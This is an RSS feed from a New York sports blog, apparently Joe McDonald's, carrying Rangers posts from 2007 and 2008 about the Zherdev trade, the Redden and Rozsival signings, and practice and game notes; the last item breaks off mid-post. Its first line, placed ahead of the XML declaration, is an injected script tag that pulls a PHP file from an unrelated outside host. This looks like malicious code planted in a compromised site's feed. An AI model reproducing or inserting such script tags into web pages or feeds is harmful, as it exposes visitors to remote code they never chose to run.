<script src=http://shoremill.com/_private/blank.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>NY Sports Report &#187; Michal Rozsival</title>
	<atom:link href="http://www.nysportsreport.com/tag/michal-rozsival/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nysportsreport.com</link>
	<description>Sports Reporter Joe McDonald's Thoughts, Feelings and Archive</description>
	<lastBuildDate>Tue, 18 Nov 2008 10:42:22 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<image>
<link>http://www.nysportsreport.com</link>
<url>http://www.nysportsreport.com/wp-content/mbp-favicon/favricon.ico</url>
<title>NY Sports Report</title>
</image>
	<!-- podcast_generator="podPress/8.8" - maintenance_release="8.8.4" -->
		<copyright>2006-2007 </copyright>
		<managingEditor>joemcdonald@nysportsday.com (NY Sports Report)</managingEditor>
		<webMaster>joemcdonald@nysportsday.com (NY Sports Report)</webMaster>
		<category>posts</category>
		<itunes:keywords></itunes:keywords>
		<itunes:subtitle></itunes:subtitle>
		<itunes:summary>Sports Reporter Joe McDonald's Thoughts, Feelings and Archive</itunes:summary>
		<itunes:author>NY Sports Report</itunes:author>
		<itunes:category text="Society &amp; Culture"/>
		<itunes:owner>
			<itunes:name>NY Sports Report</itunes:name>
			<itunes:email>joemcdonald@nysportsday.com</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://www.nysportsreport.com/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<image>
			<url>http://www.nysportsreport.com/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
			<title>NY Sports Report</title>
			<link>http://www.nysportsreport.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Rangers Trade for Zherdev; Jagr Still Uncertain</title>
		<link>http://www.nysportsreport.com/2008/07/03/rangers-trade-for-zherdev-jagr-still-uncertain/</link>
		<comments>http://www.nysportsreport.com/2008/07/03/rangers-trade-for-zherdev-jagr-still-uncertain/#comments</comments>
		<pubDate>Thu, 03 Jul 2008 10:58:38 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Featured Stories]]></category>
		<category><![CDATA[New York Rangers]]></category>
		<category><![CDATA[Assists]]></category>
		<category><![CDATA[Cablevision]]></category>
		<category><![CDATA[Chris Drury]]></category>
		<category><![CDATA[Christian Backman]]></category>
		<category><![CDATA[Columbus Blue Jackets]]></category>
		<category><![CDATA[Conference Call]]></category>
		<category><![CDATA[Couple Times]]></category>
		<category><![CDATA[Dan Fritsche]]></category>
		<category><![CDATA[Fedor Tyutin]]></category>
		<category><![CDATA[Glen Sather]]></category>
		<category><![CDATA[Jaromir Jagr]]></category>
		<category><![CDATA[Laps]]></category>
		<category><![CDATA[Line Strength]]></category>
		<category><![CDATA[Management Change]]></category>
		<category><![CDATA[Michal Rozsival]]></category>
		<category><![CDATA[Nikolai Zherdev]]></category>
		<category><![CDATA[Ranger Veterans]]></category>
		<category><![CDATA[Scott Gomez]]></category>
		<category><![CDATA[Sean Avery]]></category>
		<category><![CDATA[Wade Redden]]></category>

		<guid isPermaLink="false">http://www.nysportsreport.com/?p=510</guid>
		<description><![CDATA[Sean Avery got away and Jaromir Jagr may be the next to go. Even the always lucrative Cablevision money isn’t enough to get the big name this year to the Garden.
So what’s Glen Sather to do?
Make a trade, of course.
After inking Wade Redden and Michal Rozsival on Tuesday, Sather delt some of his blue line [...]]]></description>
			<content:encoded><![CDATA[<p align="justify"><img src="http://www.mofosports.net/nyr/2007/jagr16.jpg" border="2" alt="" hspace="5" vspace="5" align="right" />Sean Avery got away and Jaromir Jagr may be the next to go. Even the always lucrative Cablevision money isn’t enough to get the big name this year to the Garden.</p>
<p>So what’s Glen Sather to do?</p>
<p>Make a trade, of course.</p>
<p>After inking Wade Redden and Michal Rozsival on Tuesday, Sather delt some of his blue line strength for some high powered scoring yesterday when he acquitted forwards Nikolai Zherdev and Dan Fritsche from the Columbus Blue Jackets for Fedor Tyutin and Christian Backman.</p>
<p>“Zherdev is a player we have targeted for several years,” said Sather in a conference call. “We looked at making a deal with them last year before they made the management change and we were in Columbus a couple times to look at Zherdev and Fritsche and the situation just came about today. We had a little discussion about it yesterday.</p>
<p>“I wasn&#8217;t necessarily trying to move Tyutin but Backman we picked up last year because we needed protection on defense and this deal sort of fell in our laps. But it&#8217;s something that&#8217;s been in the works for a while, although we never really got down to the players we were willing to move.”</p>
<p>The fourth overall pick in 2003, Zherdev had a career year in 2007-09 with 26 goals and 35 assists. Although very talented, he also can be considered very lazy and will need Ranger veterans like Scott Gomez, who he is expected to line with and Chris Drury to keep the 23 year-old on track.</p>
<p>Despite that, Sather feels the Russian wing makes the Rangers more talented, while shedding some age.</p>
<p>“As we&#8217;re progressing through this, we&#8217;re trying to get younger, and we&#8217;re trying to get more talented and we&#8217;re trying to get faster,” Sather said. “If you look around the league, that&#8217;s the way the league is going. It&#8217;s not necessarily going with guys that are 35 and up. There&#8217;s a certain chemistry inside the team that we&#8217;re trying to get to and we&#8217;re gradually getting there.”</p>
<p>Also coming to Broadway is the 22 year-old Fritsche, who will compete on the lower lines for a job. Last season he scored 10 goals with 12 assists in 69 games.</p>
<p>What&#8217;s more important is the money the Rangers are able save on the cap for the coming season. Tyutin and Backman’s contacts would have hit the Rangers for almost $5.2 million, while the two new players will come in at about $3.2 million depending on what Fritsche comes in at in his qualifying contract.</p>
<p>So Sather will have money to play with and he does plan on getting some veterans to fill out the roster and that may include Jagr, but the general manager didn’t seem optimistic.</p>
<p>“I still think it&#8217;s necessary,” Sather stated, “to have experienced, talented people in your lineup to help these guys develop and Jaromir certainly has been a great player for this organization and I&#8217;m not ready to say goodbye to him. He may be ready to say goodbye to us. I can&#8217;t say that for sure.”</p>
<p>One thing’s for sure though, with Avery gone and Jagr probably moving on as well, it will be a very different Ranger team next season.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nysportsreport.com/2008/07/03/rangers-trade-for-zherdev-jagr-still-uncertain/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rangers Sign Redden, Still Waiting on the Front Line</title>
		<link>http://www.nysportsreport.com/2008/07/02/rangers-sign-redden-still-waiting-on-the-front-line/</link>
		<comments>http://www.nysportsreport.com/2008/07/02/rangers-sign-redden-still-waiting-on-the-front-line/#comments</comments>
		<pubDate>Wed, 02 Jul 2008 09:39:44 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Top Stories]]></category>
		<category><![CDATA[365 Days]]></category>
		<category><![CDATA[Blueshirts]]></category>
		<category><![CDATA[Brendan Shanahan]]></category>
		<category><![CDATA[Cap Room]]></category>
		<category><![CDATA[Chris Drury]]></category>
		<category><![CDATA[Conference Call]]></category>
		<category><![CDATA[Due Diligence]]></category>
		<category><![CDATA[Finished Product]]></category>
		<category><![CDATA[Glen Sather]]></category>
		<category><![CDATA[Jaromir Jagr]]></category>
		<category><![CDATA[Line Business]]></category>
		<category><![CDATA[Marian Hossa]]></category>
		<category><![CDATA[Mats Sundin]]></category>
		<category><![CDATA[Michal Rozsival]]></category>
		<category><![CDATA[Perry Pearn]]></category>
		<category><![CDATA[Record Contract]]></category>
		<category><![CDATA[Scott Gomez]]></category>
		<category><![CDATA[Sean Avery]]></category>
		<category><![CDATA[Spending Spree]]></category>
		<category><![CDATA[Three Spaces]]></category>

		<guid isPermaLink="false">http://www.nysportsreport.com/?p=34</guid>
		<description><![CDATA[On Jul. 2, 2007, the Rangers appeared to be a finished product, marked by the signings of both Chris Drury and Scott Gomez.
Now 365 days later, the Blueshirts are a work in progress, complete on defense, but still short on the forward end.
Taking care of blue line business on the first day of free agency, [...]]]></description>
			<content:encoded><![CDATA[<p align="justify"><img src="http://www.mofosports.net/nyr/2007/redden1.jpg" border="2" alt="" hspace="5" vspace="5" align="right" />On Jul. 2, 2007, the Rangers appeared to be a finished product, marked by the signings of both Chris Drury and Scott Gomez.</p>
<p>Now 365 days later, the Blueshirts are a work in progress, complete on defense, but still short on the forward end.</p>
<p>Taking care of blue line business on the first day of free agency, general manager Glen Sather signed puck moving defenseman Wade Redden to a six year, $39 million contract right after re-upping Michal Rozsival to a four year, $20 million deal.</p>
<p>“We weighed out all the options,” said Redden in a conference call. “At the end of the day, this is a great opportunity for me. We did our due diligence on the Rangers. I know what the Rangers are all about. I&#8217;d been with Perry Pearn in Ottawa.</p>
<p>“I talked to a few players around the league about what a great place New York is to be, what a great goalie they have. When I look at the Rangers and their coaching staff, they&#8217;re very thorough and experienced. Their approach is bang on, and they&#8217;re a team on the rise.”</p>
<p>The 31 year-old defenseman may have to temper his comments if the Rangers don’t complete their spending spree with only around $10 million in cap room left. Jaromir Jagr is still unsigned and reportedly has a contract offer to return to Pittsburgh, while Mats Sundin has a $20 million offer for two years in Vancouver on the table. Let’s not forget the prize of them all, Marian Hossa, who is expected to earn a record contract themselves.</p>
<p>Yes, the insanity has returned to the NHL and Sather may not be able to buy his way out of it this time. Looking to fill three spaces on the top six, with Brendan Shanahan considering a move to Newark and Sean Avery’s agent not returning Sather’s calls, the GM did feel confident, the Blueshirts will get one big ticket item over the next few days.</p>
<p>But is this a case of Steinbrenner syndrome? Instead of trying harder to retain his assets, Sather seems happier going after the other prizes out there, much like The Boss did with the Yankees over the years. And it already seems like he alienated Avery and Shanahan, will Jagr be too far behind?</p>
<p>If Jagr does move back on and Hossa and Sundin take the crazy money out there, where does that leave the Rangers? Sure a Markus Naslund could step in, but doesn’t that become the booby prize, much like an aging Bill Guerin was little consolation to Islander fans after Ryan Smyth signed in Colorado?</p>
<p>Those are the questions Sather has to consider today when he continues to go a forward. On the bright side, Sather was able to get into a negotiation with No. 68’s people yesterday, which means they are still in play for the Ranger captain.</p>
<p>As for cap space, the Ranger can try to move Christian Backman and his $2.3 million cap hit if things get out of hand.</p>
<p>Notes: The Rangers also made some minor signings earlier in the day with three agitators being inked. Andreas Jamtin, Patrick Rissmiller and Aaron Voros all give the Rangers toughness and will help ease the Avery departure…The team also re-signed backup netminder Stephen Valiquette.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nysportsreport.com/2008/07/02/rangers-sign-redden-still-waiting-on-the-front-line/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>1-0 Devils</title>
		<link>http://www.nysportsreport.com/2008/03/19/1-0-devils/</link>
		<comments>http://www.nysportsreport.com/2008/03/19/1-0-devils/#comments</comments>
		<pubDate>Wed, 19 Mar 2008 23:25:55 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[NYSR Blog]]></category>
		<category><![CDATA[Dainius Zubrus]]></category>
		<category><![CDATA[Devil]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Michal Rozsival]]></category>
		<category><![CDATA[Power Play]]></category>

		<guid isPermaLink="false">http://www.nysportscene.com/rangers/?p=94</guid>
		<description><![CDATA[Dainius Zubrus scored on the Power Play with Michal Rozsival in the box for a 1-0 Devil lead.
It&#8217;s interesting because all season, I don&#8217;t remember the Devils taking an early lead like that.
I will have more as it comes in&#8230;. 
]]></description>
			<content:encoded><![CDATA[<p>Dainius Zubrus scored on the Power Play with Michal Rozsival in the box for a 1-0 Devil lead.</p>
<p>It&#8217;s interesting because all season, I don&#8217;t remember the Devils taking an early lead like that.</p>
<p>I will have more as it comes in&#8230;. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.nysportsreport.com/2008/03/19/1-0-devils/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malik On The Way Out?</title>
		<link>http://www.nysportsreport.com/2008/01/24/malik-on-the-way-out/</link>
		<comments>http://www.nysportsreport.com/2008/01/24/malik-on-the-way-out/#comments</comments>
		<pubDate>Thu, 24 Jan 2008 18:46:39 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[NYSR Blog]]></category>
		<category><![CDATA[5 Million]]></category>
		<category><![CDATA[All Star]]></category>
		<category><![CDATA[Break]]></category>
		<category><![CDATA[Defenseman]]></category>
		<category><![CDATA[Game Suspension]]></category>
		<category><![CDATA[Ilya Kovalchuk]]></category>
		<category><![CDATA[Internal Matter]]></category>
		<category><![CDATA[Marek Malik]]></category>
		<category><![CDATA[Michal Rozsival]]></category>
		<category><![CDATA[Rafters]]></category>
		<category><![CDATA[Rangers]]></category>
		<category><![CDATA[Salary]]></category>
		<category><![CDATA[Tom Renney]]></category>
		<category><![CDATA[Trade Talks]]></category>

		<guid isPermaLink="false">http://www.nysportscene.com/rangers/?p=148</guid>
		<description><![CDATA[I wasn&#8217;t at practice today, but reports out of Greenburgh say Marek Malik&#8217;s equipment was not in his locker.
When asked, Tom Renney stated it was an &#8220;internal matter&#8221; and as of right now, he&#8217;s still a Ranger.
Ok, but that doesn&#8217;t mean Malik will be a Ranger later today or after the All-Star break. The much [...]]]></description>
			<content:encoded><![CDATA[<p>I wasn&#8217;t at practice today, but reports out of Greenburgh say Marek Malik&#8217;s equipment was not in his locker.</p>
<p>When asked, Tom Renney stated it was an &#8220;internal matter&#8221; and as of right now, he&#8217;s still a Ranger.</p>
<p>Ok, but that doesn&#8217;t mean Malik will be a Ranger later today or after the All-Star break. The much maligned defenseman has been rumored in trade talks and may be moved, if someone will take his $2.5 million salary which expires at the end of the year.</p>
<p>More on this as it comes in.</p>
<p>In other news, Ilya Kovalchuk won&#8217;t be at the game either due to a one game suspension for his boarding hit on Michal Rozsival on Tuesday.</p>
<p>Oh, and there&#8217;s the matter of No. 2 going to the rafters as well. The ceremony starts at 6:30 and the game will begin at 8:08 with the Rangers fined if it&#8217;s late.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nysportsreport.com/2008/01/24/malik-on-the-way-out/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ch-Ch-Ch-Changes</title>
		<link>http://www.nysportsreport.com/2007/12/16/ch-ch-ch-changes/</link>
		<comments>http://www.nysportsreport.com/2007/12/16/ch-ch-ch-changes/#comments</comments>
		<pubDate>Sun, 16 Dec 2007 20:54:55 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[NYSR Blog]]></category>
		<category><![CDATA[Callahan]]></category>
		<category><![CDATA[Ch Ch Ch]]></category>
		<category><![CDATA[Coyotes]]></category>
		<category><![CDATA[Earth]]></category>
		<category><![CDATA[Flu]]></category>
		<category><![CDATA[Good Friend]]></category>
		<category><![CDATA[Henrik Lundqvist]]></category>
		<category><![CDATA[Jason Strudwick]]></category>
		<category><![CDATA[Marc Staal]]></category>
		<category><![CDATA[Marcel Hossa]]></category>
		<category><![CDATA[Marek Malik]]></category>
		<category><![CDATA[Michal Rozsival]]></category>
		<category><![CDATA[Nigel Dawes]]></category>
		<category><![CDATA[Paul Mara]]></category>
		<category><![CDATA[Ryan Hollweg]]></category>
		<category><![CDATA[Steve Valiquette]]></category>
		<category><![CDATA[Wayne Gretzky]]></category>

		<guid isPermaLink="false">http://www.nysportscene.com/rangers/?p=127</guid>
		<description><![CDATA[Ok the Ranger Flu strikes again. Henrik Lundqvist is out with the flu with Steve Valiquette taking the start in goal. Lundqvist will be the backup
Marcel Hossa is out and will be replaced by Nigel Dawes. Greg Moore will be on the third line replacing the demoted Ryan Callahan and Jason Strudwick is on the [...]]]></description>
			<content:encoded><![CDATA[<p>Ok the Ranger Flu strikes again. Henrik Lundqvist is out with the flu with Steve Valiquette taking the start in goal. Lundqvist will be the backup</p>
<p>Marcel Hossa is out and will be replaced by Nigel Dawes. Greg Moore will be on the third line replacing the demoted Ryan Callahan and Jason Strudwick is on the fourth line replacing Ryan Hollweg.</p>
<p>That means Marek Malik is back with Michal Rozsival and Marc Staal will be with Paul Mara.</p>
<p>Confused yet?</p>
<p>Outside of Lundqvist none of these moves are too earth shattering as they take on the Phoenix Great Ones &#8211; I mean the Coyotes.</p>
<p>Speaking of the Great One. Wayne Gretzky has laryngitis and can&#8217;t address to the media.</p>
<p><em>BTW, a good friend is back. </em><a href="http://mt.hockeybird.com"><em>Hockeybird</em></a><em>, who has been very helpful to me has returned and Bird is posting his daily posts again. He went offline back in October and now is back.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nysportsreport.com/2007/12/16/ch-ch-ch-changes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>From Practice Today</title>
		<link>http://www.nysportsreport.com/2007/11/30/from-practice-today/</link>
		<comments>http://www.nysportsreport.com/2007/11/30/from-practice-today/#comments</comments>
		<pubDate>Sat, 01 Dec 2007 00:55:34 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[NYSR Blog]]></category>
		<category><![CDATA[Buffalo]]></category>
		<category><![CDATA[Chris Drury]]></category>
		<category><![CDATA[Coach]]></category>
		<category><![CDATA[Division Leaders]]></category>
		<category><![CDATA[Game]]></category>
		<category><![CDATA[Insight]]></category>
		<category><![CDATA[Jason Strudwick]]></category>
		<category><![CDATA[Marc Staal]]></category>
		<category><![CDATA[Marek Malik]]></category>
		<category><![CDATA[Michal Rozsival]]></category>
		<category><![CDATA[Ottawa]]></category>
		<category><![CDATA[Paul Mara]]></category>
		<category><![CDATA[Rangers]]></category>
		<category><![CDATA[Rebounds]]></category>
		<category><![CDATA[Sean Avery]]></category>
		<category><![CDATA[Tom Renney]]></category>
		<category><![CDATA[Two Games]]></category>

		<guid isPermaLink="false">http://www.nysportscene.com/rangers/?p=111</guid>
		<description><![CDATA[From Greenburgh, the Rangers has a light practice with everyone particpating except Sean Avery and Paul Mara, who sprained his shoulder in yesterday&#8217;s game.
Towards the end of practice, some of the Rangers were hitting pucks off a piece of wood in front of the net to practice rebounds, which is something Chris Drury brought from [...]]]></description>
			<content:encoded><![CDATA[<p>From Greenburgh, the Rangers has a light practice with everyone particpating except Sean Avery and Paul Mara, who sprained his shoulder in yesterday&#8217;s game.</p>
<p>Towards the end of practice, some of the Rangers were hitting pucks off a piece of wood in front of the net to practice rebounds, which is something Chris Drury brought from Buffalo as part of his routine.</p>
<p>Tom Renney put Marek Malik back on the top pairing with Michal Rozsival, while Marc Staal skated with Jason Strudwick.</p>
<p>I asked the coach if these next two games, against division leaders Ottawa and Carolina, were a test and he said that they were and if they can compete with these teams, we may have better insight on how good the team is.</p>
<p> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.nysportsreport.com/2007/11/30/from-practice-today/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malik Ready To Come Back</title>
		<link>http://www.nysportsreport.com/2007/11/27/malik-ready-to-come-back/</link>
		<comments>http://www.nysportsreport.com/2007/11/27/malik-ready-to-come-back/#comments</comments>
		<pubDate>Wed, 28 Nov 2007 00:59:05 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[NYSR Blog]]></category>
		<category><![CDATA[Bottom Line]]></category>
		<category><![CDATA[Chemistry]]></category>
		<category><![CDATA[Dan Girardi]]></category>
		<category><![CDATA[Deficiencies]]></category>
		<category><![CDATA[Fedor Tyutin]]></category>
		<category><![CDATA[Ivan Baranka]]></category>
		<category><![CDATA[Jason Strudwick]]></category>
		<category><![CDATA[Marc Staal]]></category>
		<category><![CDATA[Marek Malik]]></category>
		<category><![CDATA[Michal Rozsival]]></category>
		<category><![CDATA[Pariah]]></category>
		<category><![CDATA[Paul Mara]]></category>
		<category><![CDATA[Practice Tomorrow]]></category>
		<category><![CDATA[Ranger Fans]]></category>
		<category><![CDATA[Rangers]]></category>
		<category><![CDATA[Showcasing]]></category>
		<category><![CDATA[Tom Renney]]></category>
		<category><![CDATA[Translate]]></category>

		<guid isPermaLink="false">http://www.nysportscene.com/rangers/?p=108</guid>
		<description><![CDATA[I know this is the moment all the Ranger fans are waiting for when Marek Malik returns, but according to Steve Zipay, Tom Renney may not want to put him back in the lineup on Thursday against the Isles.
Now, he will be coming back, so expect No. 8 to be back there over the weekend. [...]]]></description>
			<content:encoded><![CDATA[<p>I know this is the moment all the Ranger fans are waiting for when Marek Malik returns, but according to Steve Zipay, Tom Renney may not want to put him back in the lineup on Thursday against the Isles.</p>
<p>Now, he will be coming back, so expect No. 8 to be back there over the weekend. The question is where he will play.</p>
<p>Expect Jason Strudwick to get scratched as Malik filters back into the lineup, but it&#8217;s questionable if he will be lining up with Michal Rozsival. Marc Stall fits very nicely at the top and deserves to stay up there, while Malik, who at times can be the Garden pariah, makes some mistakes which cost the Blueshirts.</p>
<p>Breaking up Dan Girardi and Fedor Tyutin doesn&#8217;t make sense, so that leaves Paul Mara. Now, Mara has played much better as of late and seems to be getting his stride on. Both he and Strudwick have chemistry together and will that translate with Malik? Or does Renney put Marc Staal back with Mara and Malik with Rozsival, so they can work together.</p>
<p>Believe it or not, the Malik &#8211; Rozsival pair worked well together over the past few years and Malik, who has a greak reach does make up for his speed deficiencies.</p>
<p>Also by showcasing Malik, the Rangers may look to trade him towards the deadline and let Strudick play or even bring up someone like Ivan Baranka, who played well last week against Tampa.</p>
<p>The bottom line, no matter how much the fans don&#8217;t like him, Malik is here for now.</p>
<p>And I will be at practice tomorrow, so there will be an update from there on this blog.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nysportsreport.com/2007/11/27/malik-ready-to-come-back/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>From Today&#8217;s Practice</title>
		<link>http://www.nysportsreport.com/2007/04/30/from-todays-practice/</link>
		<comments>http://www.nysportsreport.com/2007/04/30/from-todays-practice/#comments</comments>
		<pubDate>Mon, 30 Apr 2007 17:13:09 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[NYSR Blog]]></category>
		<category><![CDATA[Blueshirts]]></category>
		<category><![CDATA[Brendan Shanahan]]></category>
		<category><![CDATA[Callahan]]></category>
		<category><![CDATA[Control Game]]></category>
		<category><![CDATA[Defenseman]]></category>
		<category><![CDATA[Fedor Tyutin]]></category>
		<category><![CDATA[Game Story]]></category>
		<category><![CDATA[Henrik Lundqvist]]></category>
		<category><![CDATA[Home Streak]]></category>
		<category><![CDATA[Jaromir Jagr]]></category>
		<category><![CDATA[Key Reasons]]></category>
		<category><![CDATA[Matt Cullen]]></category>
		<category><![CDATA[Michael Nylander]]></category>
		<category><![CDATA[Michal Rozsival]]></category>
		<category><![CDATA[Minute Marathon]]></category>
		<category><![CDATA[Ny Sports]]></category>
		<category><![CDATA[Sean Avery]]></category>
		<category><![CDATA[Tom Renney]]></category>
		<category><![CDATA[Two Games]]></category>
		<category><![CDATA[Workout]]></category>

		<guid isPermaLink="false">http://www.nysportscene.com/rangers/?p=27</guid>
		<description><![CDATA[Tom Renney held an option skate after yesterday&#8217;s 96 minute marathon. Most players though were on the ice, which the coach felt was good and bad.
&#8220;The idea behind an optional skate is that guys use that time to workout and rest,&#8221; Renney said. &#8220;Most guys feel they have to be out there. One of the reasons [...]]]></description>
			<content:encoded><![CDATA[<p>Tom Renney held an option skate after yesterday&#8217;s 96 minute marathon. Most players though were on the ice, which the coach felt was good and bad.</p>
<p>&#8220;The idea behind an optional skate is that guys use that time to workout and rest,&#8221; Renney said. &#8220;Most guys feel they have to be out there. One of the reasons why I don&#8217;t go out there is that guys will be there because I am out there. But it tells you what guys you have.&#8221;</p>
<p>Not skating today were:</p>
<p>Brendan Shanahan, Sean Avery, Michael Nylander, Fedor Tyutin, Ryan Callahan, Matt Cullen and Game 3 hero Michal Rozsival, who could use the rest.</p>
<p>But the Rangers need to hand it to themselves, they did what they needed to do yesterday, playing in front of a Garden crowd totally on their side.</p>
<p>It&#8217;s interesting to see that, because the Blueshirts totally turned around their home record from a pedestrian 12-14-4 on Feb.24 to a 12-1-1 mark since then.</p>
<p>So what has changed?</p>
<p>&#8220;We changed our style of play at home,&#8221; said Henrik Lundqvist, one of the key reasons why they have an eight game home streak. &#8220;We do the small things and take some pride at home, like we do on the road. I think we realize we will get chances from that. We stay back and play a control game, and we will get chances.&#8221;</p>
<p>That&#8217;s good because the Rangers need to win tomorrow&#8217;s game and then a Game 6 at the Garden if they are going to have any chance in this series, because they will have to win a game in Buffalo and maybe two games is too much to ask.</p>
<p>Some other notes from Greenburgh: Jaromir Jagr was asked if there was a defenseman who could contain him. He quipped about him not being born yet.</p>
<p>The mood overall was lighthearted, yet confident and who can blame them, the Rangers looked good not just yesterday, but also for most of Game 2, as well. Now they know there is still a lot of work to do, but this series is not over by any means.</p>
<p>Later on, I will have a report on <a href="http://www.nysportsday.com">NY Sports Day</a> from Greenburgh and check out last night&#8217;s game story as well.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nysportsreport.com/2007/04/30/from-todays-practice/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>First Period Review</title>
		<link>http://www.nysportsreport.com/2007/04/27/first-period-review/</link>
		<comments>http://www.nysportsreport.com/2007/04/27/first-period-review/#comments</comments>
		<pubDate>Fri, 27 Apr 2007 23:54:33 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[NYSR Blog]]></category>
		<category><![CDATA[Blueshirts]]></category>
		<category><![CDATA[Brian Campbell]]></category>
		<category><![CDATA[Buffalo]]></category>
		<category><![CDATA[Domination]]></category>
		<category><![CDATA[First Period]]></category>
		<category><![CDATA[Legs]]></category>
		<category><![CDATA[Michal Rozsival]]></category>
		<category><![CDATA[Pace]]></category>
		<category><![CDATA[Power Play]]></category>
		<category><![CDATA[Rangers]]></category>
		<category><![CDATA[Sabres]]></category>

		<guid isPermaLink="false">http://www.nysportscene.com/rangers/?p=17</guid>
		<description><![CDATA[Well, outside of one poor penalty kill, the Rangers killed the Sabres this period. 13-4 on shots. A great power play and basically total domination.
Unless he&#8217;s hurt, you have to wonder why Isbister was dressed over Ortmeyer. On Brian Campbell&#8217;s power play goal, that&#8217;s a shot Ortmeyer usually blocks. Unless he&#8217;s hurt, there&#8217;s little reason.
Now onto [...]]]></description>
			<content:encoded><![CDATA[<p>Well, outside of one poor penalty kill, the Rangers killed the Sabres this period. 13-4 on shots. A great power play and basically total domination.</p>
<p>Unless he&#8217;s hurt, you have to wonder why Isbister was dressed over Ortmeyer. On Brian Campbell&#8217;s power play goal, that&#8217;s a shot Ortmeyer usually blocks. Unless he&#8217;s hurt, there&#8217;s little reason.</p>
<p>Now onto the good things. If they can keep up this pace, Buffalo will have a tough time keeping up with the Blueshirts. They just look like they have fresher legs.</p>
